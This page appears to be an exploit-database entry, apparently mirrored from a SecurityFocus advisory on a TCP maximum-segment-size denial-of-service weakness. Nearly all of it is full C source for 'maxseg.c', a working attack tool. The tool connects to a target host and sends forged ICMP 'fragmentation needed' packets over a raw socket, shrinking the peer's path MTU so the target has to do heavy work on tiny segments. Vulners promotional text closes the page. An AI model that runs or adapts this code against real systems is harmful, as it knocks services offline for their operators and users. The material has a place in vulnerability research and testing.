source: http://www.securityfocus.com/bid/2997/info
A potential denial of service vulnerability exists in several TCP stack implementations.
TCP has a MSS (maximum segment size) option that is used by a TCP client to announce to a peer the maximum amount of TCP data that can be sent per segment. The potential for attacks exists because in many cases only a small minimum value is enforced for the MSS.
By setting the MSS to a low value (such as 1) and making requests for large amounts of data through a TCP service, an attacker could effectively cause a denial of service by causing a large workload on a system.
/*
* (C)Copyright 2001 Darren Reed.
*
* maxseg.c
*/
#include <sys/types.h>
#include <sys/param.h>
#include <sys/socket.h>
#if BSD >= 199306
#include <sys/sysctl.h>
#endif
#include <netinet/in.h>
#include <netinet/in_systm.h>
#include <netinet/ip.h>
#include <netinet/ip_icmp.h>
#include <netinet/ip_var.h>
#include <netinet/tcp.h>
#include <netinet/tcp_timer.h>
#include <netinet/tcp_var.h>
#include <time.h>
#include <fcntl.h>
#include <errno.h>
void prepare_icmp(struct sockaddr_in *);
void primedefaultmss(int, int);
u_short in_cksum(u_short *, int);
int icmp_unreach(struct sockaddr_in *, struct sockaddr_in *);
#define NEW_MSS 512
#define NEW_MTU 1500
static int start_mtu = NEW_MTU;
void primedefaultmss(fd, mss)
int fd, mss;
{
#ifdef __NetBSD__
static int defaultmss = 0;
int mib[4], msso, mssn;
size_t olen;
if (mss == 0)
mss = defaultmss;
mssn = mss;
olen = sizeof(msso);
mib[0] = CTL_NET;
mib[1] = AF_INET;
mib[2] = IPPROTO_TCP;
mib[3] = TCPCTL_MSSDFLT;
if (sysctl(mib, 4, &msso, &olen, NULL, 0))
err(1, "sysctl");
if (defaultmss == 0)
defaultmss = msso;
if (sysctl(mib, 4, 0, NULL, &mssn, sizeof(mssn)))
err(1, "sysctl");
if (sysctl(mib, 4, &mssn, &olen, NULL, 0))
err(1, "sysctl");
printf("Default MSS: old %d new %d\n", msso, mssn);
#endif
#if HACKED_KERNEL
int opt;
if (mss)
op = mss;
else
op = 512;
if (setsockopt(fd, IPPROTO_TCP, TCP_MAXSEG+1, (char *)&op, sizeof(op)))
err(1, "setsockopt");
#endif
}
int
main(int argc, char *argv[])
{
struct sockaddr_in me, them;
int fd, op, olen, mss;
char prebuf[16374];
time_t now1, now2;
struct timeval tv;
mss = NEW_MSS;
primedefaultmss(-1, mss);
fd = socket(AF_INET, SOCK_STREAM, 0);
if (fd == -1)
err(1, "socket");
memset((char *)&them, 0, sizeof(me));
them.sin_family = AF_INET;
them.sin_port = ntohs(atoi(argv[2]));
them.sin_addr.s_addr = inet_addr(argv[1]);
primedefaultmss(fd, mss);
op = fcntl(fd, F_GETFL, 0);
if (op != -1) {
op |= O_NONBLOCK;
fcntl(fd, F_SETFL, op);
}
op = 1;
(void) setsockopt(fd, SOL_SOCKET, TCP_NODELAY, &op, sizeof(op));
if (connect(fd, (struct sockaddr *)&them, sizeof(them)) &&
(errno != EINPROGRESS))
err(1, "connect");
olen = sizeof(op);
if (!getsockopt(fd, IPPROTO_TCP, TCP_MAXSEG, (char *)&op, &olen))
printf("Remote mss %d\n", op);
else
err(1, "getsockopt");
#if HACKED_KERNEL
olen = sizeof(op);
if (!getsockopt(fd, IPPROTO_TCP, TCP_MAXSEG+1, (char *)&op, &olen))
printf("Our mss %d\n", op);
else
err(1, "getsockopt(+1)");
#endif
olen = sizeof(me);
if (getsockname(fd, (struct sockaddr *)&me, &olen))
err(1, "getsockname");
(void) read(fd, prebuf, sizeof(prebuf));
now1 = time(NULL);
for (op = 2; op; op--) {
icmp_unreach(&me, &them);
olen = read(fd, prebuf, sizeof(prebuf));
if (olen == -1) {
if (errno == ENOBUFS || errno == EAGAIN ||
errno == EWOULDBLOCK) {
tv.tv_sec = 0;
tv.tv_usec = 10000;
select(3, NULL, NULL, NULL, &tv);
continue;
}
warn("read");
break;
}
}
now2 = time(NULL);
printf("Elapsed time %d\n", now2 - now1);
primedefaultmss(fd, 0);
close(fd);
return 0;
}
/*
* in_cksum() & icmp_unreach() ripped from nuke.c prior to modifying
*/
static char icmpbuf[256];
static int icmpsock = -1;
static struct sockaddr_in destsock;
void
prepare_icmp(dst)
struct sockaddr_in *dst;
{
struct tcphdr *tcp;
struct icmp *icmp;
icmp = (struct icmp *)icmpbuf;
if (icmpsock == -1) {
memset((char *)&destsock, 0, sizeof(destsock));
destsock.sin_family = AF_INET;
destsock.sin_addr = dst->sin_addr;
srand(getpid());
icmpsock = socket(AF_INET, SOCK_RAW, IPPROTO_ICMP);
if (icmpsock == -1)
err(1, "socket");
/* the following messy stuff from Adam Glass (icmpsquish.c) */
memset(icmp, 0, sizeof(struct icmp) + 8);
icmp->icmp_type = ICMP_UNREACH;
icmp->icmp_code = ICMP_UNREACH_NEEDFRAG;
icmp->icmp_pmvoid = 0;
icmp->icmp_ip.ip_v = IPVERSION;
icmp->icmp_ip.ip_hl = 5;
icmp->icmp_ip.ip_len = htons(NEW_MSS);
icmp->icmp_ip.ip_p = IPPROTO_TCP;
icmp->icmp_ip.ip_off = htons(IP_DF);
icmp->icmp_ip.ip_ttl = 11 + (rand() % 50);
icmp->icmp_ip.ip_id = rand() & 0xffff;
icmp->icmp_ip.ip_src = dst->sin_addr;
tcp = (struct tcphdr *)(&icmp->icmp_ip + 1);
tcp->th_sport = dst->sin_port;
}
icmp->icmp_nextmtu = htons(start_mtu);
icmp->icmp_cksum = 0;
}
u_short
in_cksum(addr, len)
u_short *addr;
int len;
{
register int nleft = len;
register u_short *w = addr;
register int sum = 0;
u_short answer = 0;
/*
* Our algorithm is simple, using a 32 bit accumulator (sum),
* we add sequential 16 bit words to it, and at the end, fold
* back all the carry bits from the top 16 bits into the lower
* 16 bits.
*/
while( nleft > 1 ) {
sum += *w++;
nleft -= 2;
}
/* mop up an odd byte, if necessary */
if( nleft == 1 ) {
*(u_char *)(&answer) = *(u_char *)w ;
sum += answer;
}
/*
* add back carry outs from top 16 bits to low 16 bits
*/
sum = (sum >> 16) + (sum & 0xffff); /* add hi 16 to low 16 */
sum += (sum >> 16); /* add carry */
answer = ~sum; /* truncate to 16 bits */
return (answer);
}
int icmp_unreach(src, dst)
struct sockaddr_in *src, *dst;
{
static int donecksum = 0;
struct sockaddr_in dest;
struct tcphdr *tcp;
struct icmp *icmp;
int i, rc;
u_short sum;
icmp = (struct icmp *)icmpbuf;
prepare_icmp(dst);
icmp->icmp_ip.ip_dst = src->sin_addr;
sum = in_cksum((u_short *)&icmp->icmp_ip, sizeof(struct ip));
icmp->icmp_ip.ip_sum = sum;
tcp = (struct tcphdr *)(&icmp->icmp_ip + 1);
tcp->th_dport = src->sin_port;
sum = in_cksum((u_short *)icmp, sizeof(struct icmp) + 8);
icmp->icmp_cksum = sum;
start_mtu /= 2;
if (start_mtu < 69)
start_mtu = 69;
i = sendto(icmpsock, icmpbuf, sizeof(struct icmp) + 8, 0,
(struct sockaddr *)&destsock, sizeof(destsock));
if (i == -1 && errno != ENOBUFS && errno != EAGAIN &&
errno != EWOULDBLOCK)
err(1, "sendto");
return(0);
}
Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation